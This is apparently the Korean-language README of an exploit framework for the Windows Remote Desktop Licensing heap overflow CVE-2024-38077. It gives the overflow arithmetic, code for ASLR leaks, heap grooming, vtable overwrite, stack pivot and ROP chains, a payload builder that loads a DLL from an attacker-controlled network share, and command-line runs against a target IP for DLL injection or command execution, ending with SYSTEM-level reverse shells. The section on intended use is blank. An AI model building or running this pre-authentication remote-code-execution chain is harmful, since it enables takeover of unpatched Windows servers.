CVE-2024-38077 (Windows RDL 힙 오버플로우)를 위한 모듈식 익스플로잇 프레임워크로, ASLR 우회, 힙 그루밍, ROP 체인 생성, DLL 인젝션 페이로드를 포함하여 사전 인증 원격 코드 실행을 지원합니다.
이 문서는 프레임워크의 각 구성 요소가 왜 존재하는지, 그리고 어떻게 작동하는지를 설명하며, Windows 최신 환경에서의 힙 버퍼 오버플로우 익스플로잇을 다룹니다.
Windows 원격 데스크톱 라이선스 서비스(lserver.exe)는 CDataCoding::DecodeData 함수에서 힙 버퍼 오버플로우가 발생합니다.
┌─────────────────────────────────────────────────────────────┐
│ 취약점: 잘못된 크기 계산 │
├─────────────────────────────────────────────────────────────┤
│ 1. 클라이언트가 크기 N의 Base64 데이터를 전송 │
│ 2. 서버가 계산: buffer_size = (N / 4) * 3 │
│ 3. 서버가 'buffer_size' 바이트의 버퍼를 할당 │
│ 4. 실제 Base64 디코드는 다음을 기록: ceil(N * 3/4) 바이트 │
│ 5. N이 4의 배수가 아닌 경우: 오버플로우! │
└─────────────────────────────────────────────────────────────┘
구체적인 예시:
(4001 / 4) * 3 = 1000 * 3 = 3000바이트 할당됨ceil(4001 * 0.75) = 3001바이트 기록됨┌─────────────────────────────────────────────────────────────────┐
│ 익스플로잇 체인 │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP, ASLR, CFG 인식) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (오케스트레이터) │
└───────────────────────────────────────────────────────────┘
primitives.py - 기반메모리 조작을 위한 저수준 유틸리티입니다.
익스플로잇에 필요:
# Pack/Unpack - 정수를 바이트로 또는 그 반대로 변환
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# 순환 패턴 - 크래시 오프셋 식별용
cyclic(100) # De Bruijn 시퀀스 생성
cyclic_find(pattern, value) # 값의 오프셋 찾기
# 정렬 - 메모리는 정렬되어야 함
align(0x1003, 0x10) # → 0x1010 (16바이트로 정렬)
실제 문제: 크래시가 발생하고 RIP가 0x61616171을 가리킵니다.
cyclic_find(pattern, 0x61616171) → 정확한 오프셋!leak.py - ASLR 우회주소 공간 레이아웃 무작위화: 부팅/실행 시마다 주소가 변경됩니다.
부팅 1: ntdll.dll @ 0x7FFA12340000
부팅 2: ntdll.dll @ 0x7FFB98760000
부팅 3: ntdll.dll @ 0x7FFC55550000
메모리 위치를 모르면:
class LeakInfo:
"""유출된 주소를 담는 컨테이너"""
heap_base: int # 힙 베이스
ntdll_base: int # ntdll.dll 베이스
kernel32_base: int # kernel32.dll 베이스
# ...
class LeakProvider:
"""유출 소스 오케스트레이터"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# 각 소스를 성공할 때까지 시도
| 소스 | 작동 방식 | 사용 시기 |
|---|---|---|
ManualLeakSource | 사용자가 주소 제공 | 대상에 접근 가능한 실험실/디버그 |
ResponseLeakSource | RPC 응답에서 추출 | 서비스가 포인터를 유출하는 경우 |
TimingLeakSource | 시간 기반 부채널 | 이론적, 매우 어려움 |
데모/실험실에서:
--ntdll-base 0x7ffa...로 제공이는 실제 유출을 시뮬레이션하여 나머지 체인을 테스트할 수 있게 합니다.
target_model.py - 대상 매핑취약한 데이터 구조와 인접 구조의 모델링입니다.
오버플로우 ≠ 익스플로잇. 다음을 알아야:
class VulnerableBuffer:
"""오버플로우가 발생할 버퍼"""
allocation_size: int # 할당된 크기
write_size: int # 기록될 크기
overflow_amount: int # 차이 = 오버플로우
def calculate_overflow(input_size):
# 계산 버그 시뮬레이션
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""손상될 객체(힙에서 인접)"""
fields: List[StructField]
has_vtable: bool # 가상 테이블이 있는가?
has_function_ptr: bool # 함수 포인터가 있는가?
# 리버스 엔지니어링 기반 가상 객체
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# 매핑된 필드
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True인가?익스플로잇에 유용한 필드를 표시:
vtable: 덮어쓰면 메서드 호출 제어 가능callback: 덮어쓰면 콜백 호출 시점 제어 가능write_primitive.py - 제어된 쓰기오버플로우는 순차적 데이터를 기록합니다. 하지만 필요한 것:
class WritePrimitive:
def build_overflow_data(self) -> bytes:
"""
정확한 값을 가진 오버플로우 버퍼 구성
레이아웃:
[오프셋까지 PADDING] [제어된 값] [추가 데이터]
"""
data = bytearray(b"A" * max_offset)
for target in self.targets:
# 정확한 오프셋에 정확한 값 배치
data[target.offset:target.offset+8] = p64(target.value)
return bytes(data)
# vtable 덮어쓰기
write_primitive.set_vtable_overwrite(
vtable_addr=fake_vtable_address,
obj_name="CLicenseRequest"
)
# 콜백 덮어쓰기
write_primitive.set_callback_overwrite(
callback_addr=gadget_address
)
| 쓰기 | 결과 |
|---|---|
| AAAA... | 제어 없는 크래시 |
| 정확한 오프셋의 정확한 주소 | 제어된 실행 |
heap_controller.py - 힙 그루밍Windows는 LFH(낮은 단편화 힙) 및 세그먼트 힙 사용:
그루밍 = 결정적 레이아웃을 위해 힙을 조작.
그루밍 전:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
무작위 할당, 예측 불가능한 구멍
그루밍 후:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
제어된 레이아웃, 원하는 위치에 "구멍"
class HeapLayoutController:
def execute_full_groom(self):
# 1단계: 기존 구멍 채우기
self.phase_fill(50)
# 2단계: 대상 버킷의 LFH 활성화
# (Windows는 동일 크기 할당 약 17회 후 LFH 활성화)
self.phase_activate_lfh()
# 3단계: 스프레이 - 조밀한 패턴 생성
sprayed = self.phase_spray(200)
# 4단계: 전략적 구멍 만들기
# N개 할당마다 해제
self.phase_create_holes(sprayed, interval=4)
# 5단계: 안정화
self.phase_stabilize()
trigger.py - 손상 후 트리거손상이 발생했습니다. 이제 무엇을?
현재 상태:
- 메모리 손상됨 ✓
- 악의적인 값 기록됨 ✓
- 하지만 아무도 그 값을 **사용**하지 않음!
프로그램이 손상된 데이터를 읽고 사용하도록 해야 합니다.
class PostCorruptionTrigger:
strategies: List[TriggerStrategy]
# 구현된 전략:
class SecondRequestTrigger:
"""손상된 객체를 사용하는 두 번째 RPC 호출"""
class DestructorTrigger:
"""연결 해제 - 손상된 포인터를 사용하는 정리 강제"""
class TimerTrigger:
"""내부 타이머가 손상된 상태를 처리하도록 대기"""
1. 첫 번째 RPC 호출 → 손상 발생
2. 연결 해제(트리거) → 서버가 소멸자 호출
3. 소멸자가 손상된 vtable 읽기 → 우리 주소 호출
4. 제어된 실행!
execution.py - 흐름 제어RIP(x64) 또는 EIP(x86) = 명령어 포인터
명령어 포인터를 제어하면 실행을 제어합니다.
class HijackMethod(Enum):
VTABLE = 0 # 힙 오버플로우에서 가장 일반적
FUNCTION_PTR = 1 # 콜백 포인터
RETURN_ADDR = 2 # 스택 오버플로우(우리 경우 아님)
정상 객체:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ method1 주소 │ ← 합법
│ │ │ method2 주소 │
└─────────────┘ └──────────────────┘
손상 후:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ 가젯 주소 │ ← 우리 것!
│ │ │ 가젯 주소 │
└─────────────┘ └──────────────────┘
method1이 호출될 때 → 우리 가젯 실행!
문제: vtable 하이재킹은 하나의 호출만 제공합니다. 더 필요합니다.
해결책: 스택 피벗
# RSP를 우리 ROP 체인이 있는 곳으로 바꾸는 가젯
xchg rax, rsp; ret # RAX = 우리 주소 → RSP = 우리 주소
# 이제 "스택"은 우리가 제어하는 영역!
# 각 RET는 ROP 체인의 다음 가젯으로 점프
code_reuse.py - ROP 체인DEP(데이터 실행 방지): 힙과 스택은 실행 불가능.
힙의 셸코드 → CRASH (access violation - execute)
ROP = Return-Oriented Programming
"가젯"을 연결 - RET로 끝나는 작은 코드 조각.
가젯 1: pop rcx; ret ← RCX에 값 넣기
가젯 2: pop rdx; ret ← RDX에 값 넣기
가젯 3: call LoadLibraryA ← 함수 호출!
STACK/ROP 체인(우리가 제어하는 영역):
┌────────────────────┐
│ pop_rcx 주소 │ ← RSP가 여기 가리킴
├────────────────────┤
│ RCX 값 │ ← RCX로 "pop"됨
├────────────────────┤
│ pop_rdx 주소 │ ← RET가 여기로 감
├────────────────────┤
│ RDX 값 │
├────────────────────┤
│ LoadLibraryA 주소 │ ← 최종 호출!
└────────────────────┘
# DLL 로드(DLL 인젝션)
build_load_library(dll_path_addr) → ROP 체인
# 실행 가능한 메모리 할당
build_virtual_alloc(size) → ROP 체인 + RAX = RWX 주소
# 명령 실행
build_winexec(cmd_addr) → ROP 체인
payload.py - 의미론적 페이로드| 유형 | 예시 | 결과 |
|---|---|---|
| 데이터 | AAAAAA... | 크래시 |
| 의도 | ROP + DLL 경로 | DLL 로드됨 |
class PayloadIntent(Enum):
CRASH_TEST = 0 # 익스플로잇이 작동하는지 확인
DLL_INJECT = 1 # 우리 DLL 로드
COMMAND_EXEC = 2 # 명령 실행
SHELLCODE = 3 # ROP를 통해 셸코드 실행
def build_dll_inject(dll_path: str) -> bytes:
"""
최종 구조:
┌──────────────────────────────┐
│ ROP 체인 (LoadLibraryA) │ ← 먼저 실행
├──────────────────────────────┤
│ 패딩 │
├──────────────────────────────┤
│ "\\attacker\share\pay.dll\0"│ ← 경로 문자열
└──────────────────────────────┘
ROP 체인이 문자열 주소를 LoadLibraryA에 전달
"""
mitigations.py - 완화 인식| 완화 | 기능 | 우리의 우회 |
|---|---|---|
| DEP | 힙/스택 실행 불가 | ROP(코드 재사용) |
| ASLR | 주소 무작위화 | 정보 유출 |
| CFG | 호출 대상 검증 | 합법 대상 호출 후 피벗 |
| 스택 쿠키 | 스택 오버플로우 감지 | 스택 오버플로우 사용 안 함 |
| 힙 강화 | 가드 페이지 등 | 세심한 그루밍 |
def adapt_exploit(config):
if mitigations.DEP.enabled:
config["use_rop"] = True # 필수
if mitigations.ASLR.enabled:
config["require_leak"] = True # 필수
if mitigations.HEAP_HARDENING.enabled:
config["spray_count"] *= 2 # 더 많은 스프레이
┌─────────────────────────────────────────────────────────────────┐
│ 익스플로잇 흐름 │
└─────────────────────────────────────────────────────────────────┘
1단계: LEAK (ASLR 우회)
├─ 메모리 주소 획득
├─ 입력: 수동 또는 자동 유출
└─ 출력: 모듈 베이스가 포함된 LeakInfo
↓
2단계: ANALYZE (대상 매핑)
├─ 오버플로우 양 계산
├─ 인접 객체 식별
└─ 손상 오프셋 결정
↓
3단계: GROOM (힙 성형)
├─ 채우기 → LFH 활성화 → 스프레이 → 구멍
├─ 결정적 레이아웃 생성
└─ 취약한 할당을 위한 "랜딩 존" 준비
↓
4단계: PAYLOAD (구축)
├─ ROP 체인 구축
├─ 필요한 문자열/데이터 포함
└─ 오버플로우 데이터와 결합
↓
5단계: CORRUPT (오버플로우 트리거)
├─ 악성 RPC 호출 전송
├─ 오버플로우 발생
└─ 대상 덮어쓰기 (vtable/콜백)
↓
6단계: TRIGGER (사용 강제)
├─ 연결 해제 또는 두 번째 호출
├─ 손상된 포인터 사용 강제
└─ 실행 하이재킹
↓
7단계: EXECUTE (RCE)
├─ ROP 체인 실행
├─ LoadLibraryA가 DLL 로드
└─ 임의 코드 실행 중!
↓
┌─────────────────────────────────────────────────────────────┐
│ 결과: SYSTEM 권한으로 리버스 셸, 백도어 등 │
└─────────────────────────────────────────────────────────────┘
pip install impacket
# 서비스 실행 중인지 확인만
python -m madlicense.poc -t 10.0.0.5 --check
# 드라이 런(페이로드 전송 안 함, 모든 것 시뮬레이션)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
--ntdll-base 0x7ffa12340000
# 완전한 DLL 인젝션
python -m madlicense.poc -t 10.0.0.5 \
--dll "\\\\attacker\\share\\payload.dll" \
--heap-base 0x22345670000 \
--ntdll-base 0x7ffa12340000 \
--kernel32-base 0x7ffa12500000
# calc.exe 실행(고전적인 PoC)
python -m madlicense.poc -t 10.0.0.5 \
--cmd calc.exe \
--ntdll-base 0x7ffa12340000
이 프레임워크는 다음을 위한 것입니다:
다음이 아닙니다:
핵심 문구:
"Windows 최신 환경에서 힙 버퍼 오버플로우를 익스플로잇하는 것은 단순히 '많이 쓰는' 것이 아닙니다. 이는 유출 → 그루밍 → 손상 → 트리거 → 실행의 정확한 체인입니다."
9개 모듈:
이 중 하나라도 없으면 RCE는 없습니다.